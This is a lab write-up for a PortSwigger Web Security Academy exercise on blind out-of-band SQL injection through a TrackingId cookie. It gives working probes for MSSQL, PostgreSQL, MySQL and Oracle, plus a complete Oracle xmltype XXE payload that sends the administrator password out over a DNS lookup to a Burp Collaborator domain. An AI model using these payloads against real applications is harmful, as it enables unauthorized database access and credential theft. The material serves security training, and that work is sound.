Blind SQL Injection — Out-of-Band (OOB) Data Exfiltration¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Blind SQL Injection — Out-of-Band (OOB) via Oracle XXE |
| Difficulty | Practitioner |
| Injection Point | TrackingId cookie |
| Goal | Exfiltrate the administrator password via DNS to Burp Collaborator |
What is Out-of-Band (OOB) SQL Injection?¶
In every blind SQLi technique covered so far, the attack relied on something the application itself returned to infer information:
| Technique | What you observe |
|---|---|
| Boolean-based | Response body changes (Welcome back present/absent) |
| Error-based | Error message reflected in the response body |
| Time-based | How long the server takes to respond |
Out-of-band injection is completely different. The application's HTTP response tells you nothing — it always returns the same thing regardless of what the injected query does. There is no boolean difference, no error message, no delay.
Instead of reading the response, you make the database server itself contact you on a separate network channel — typically DNS or HTTP. The database reaches out to a server you control, and the exfiltrated data travels as part of that outbound request.
Normal SQLi: Attacker → [HTTP] → App → DB → [HTTP response] → Attacker reads data
OOB SQLi: Attacker → [HTTP] → App → DB → [DNS lookup] → Attacker's Collaborator server
↑
Data arrives here, not in the response
This is why OOB requires Burp Collaborator — you need an internet-accessible server that logs incoming DNS queries and HTTP requests from the target database.
Why the Database Makes DNS Requests¶
The technique works by injecting SQL that constructs a URL containing the data to steal, then forces the database to resolve that URL. The database performs a DNS lookup — and the hostname contains the stolen data as a subdomain:
http://[STOLEN-DATA].[COLLABORATOR-DOMAIN]/
↑
The stolen data travels as part of the DNS hostname
When the database resolves this hostname, Collaborator logs the DNS query — including the full hostname — and you read the stolen data from the subdomain field.
Phase 1 — Reconnaissance¶
After trying every other technique — boolean, error-based, time-based — nothing produced any observable difference. All responses were identical. OOB was the only remaining channel.
Phase 2 — Attack Path¶
Step 1 — Start Burp Collaborator¶
Burp Suite Professional → Collaborator tab → Copy to clipboard. This provides a unique subdomain like v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com that will log any incoming DNS or HTTP interactions.
Step 2 — DB Fingerprinting via OOB Probes¶
Each database engine has a different OOB primitive. Testing each until one triggers a Collaborator interaction:
-- Microsoft SQL Server
Cookie: TrackingId=cookie' exec master..xp_dirtree '//COLLABORATOR-SUBDOMAIN/a' -- -;
-- PostgreSQL
Cookie: TrackingId=cookie' copy (SELECT '') to program 'nslookup COLLABORATOR-SUBDOMAIN' -- -;
-- MySQL (Windows only)
Cookie: TrackingId=cookie' LOAD_FILE('\\\\COLLABORATOR-SUBDOMAIN\\a') -- -;
None of those triggered an interaction. The Oracle payload did — confirming Oracle as the backend:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The Oracle OOB technique abuses an XXE (XML External Entity) vulnerability inside the EXTRACTVALUE() + xmltype() functions. The XML parser fetches the SYSTEM entity URL — which is the Collaborator subdomain — causing a DNS lookup that Collaborator records.
Step 3 — Confirm OOB Interaction Works¶
URL-encoding the entire payload (Ctrl+U in Burp) before sending is required — the XML contains characters that would break the HTTP request if sent raw:
Cookie: TrackingId=MKw2PNeRv1K2SL3N' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com/"> %remote;]>'),'/l') FROM dual -- -;
Collaborator showed a DNS interaction — OOB confirmed working. No data is exfiltrated yet — this step only confirms the channel is open.
Step 4 — Exfiltrate the Administrator Password¶
The password is concatenated into the subdomain of the URL using Oracle's || operator. The database looks up the constructed hostname, and the DNS query carries the password as the subdomain:
Cookie: TrackingId=MKw2PNeRv1K2SL3N' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com/"> %remote;]>'),'/l') FROM dual -- -;
The password appeared as a subdomain in the Collaborator DNS interaction.
How the Full Payload Works — Step by Step¶
SELECT EXTRACTVALUE(
xmltype('
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM
"http://'||(SELECT password FROM users WHERE username=''administrator'')||'.collaborator.com/">
%remote;
]>
'),
'/l'
) FROM dual
- Subquery executes —
SELECT password FROM users WHERE username='administrator'returns the password string, e.g.secretpass123 - String concatenation —
||builds the URL:http://secretpass123.collaborator.com/ xmltype()parses the XML string — the XML parser is triggered<!ENTITY % remote SYSTEM "...">declares an external entity — pointing to the constructed URL%remote;expands the entity — the XML parser attempts to fetch the URL- DNS lookup — the database's OS resolves
secretpass123.collaborator.comvia DNS - Collaborator logs the DNS query — the full hostname including the password is recorded and readable
Conclusion¶
- All standard blind SQLi techniques — boolean, error-based, time-based — produced identical
HTTP 200responses with no observable difference. - OOB probes for MSSQL, PostgreSQL, and MySQL produced no Collaborator interaction; the Oracle
xmltype()XXE probe triggered a DNS interaction, confirming Oracle as the backend. - A baseline interaction confirmed the OOB channel was open.
- Concatenating the password subquery into the Collaborator subdomain via
||caused the database to perform a DNS lookup containing the password — readable in Collaborator's interaction log.
Key Concepts¶
The four blind SQLi channels — complete hierarchy:
| Channel | Signal | Last resort? |
|---|---|---|
| Boolean-based | App behavior difference | No |
| Error-based (visible) | Error message in response body | No |
| Time-based | Response delay | No |
| Out-of-band | DNS / HTTP to external server | Yes — when all others fail |
OOB requires Burp Collaborator (or equivalent) — you need an internet-facing server that logs incoming DNS queries. The data never appears in the HTTP response — the only place it exists is the Collaborator log.
Data travels in the DNS hostname — by embedding the query result as a subdomain, the DNS resolution itself carries the exfiltrated data. No HTTP body, no response code, no timing — just a hostname lookup.
OOB primitives by database engine:
| Database | OOB Primitive |
|---|---|
| Oracle | xmltype() XXE via EXTRACTVALUE() + <!ENTITY % remote SYSTEM "http://..."> |
| MSSQL | exec master..xp_dirtree '//collaborator-domain/a' |
| PostgreSQL | copy (SELECT '') to program 'nslookup collaborator-domain' |
| MySQL | LOAD_FILE('\\\\collaborator-domain\\a') (Windows only) |
URL-encoding is mandatory — the XML payload contains characters (<, >, %, ") that break raw HTTP requests. Always URL-encode the full payload in Burp before sending (Ctrl+U in Repeater).
Database fingerprinting gates the technique — you cannot exfiltrate data until you know which OOB primitive the backend supports. Always test each engine's probe in sequence and watch Collaborator for the first interaction.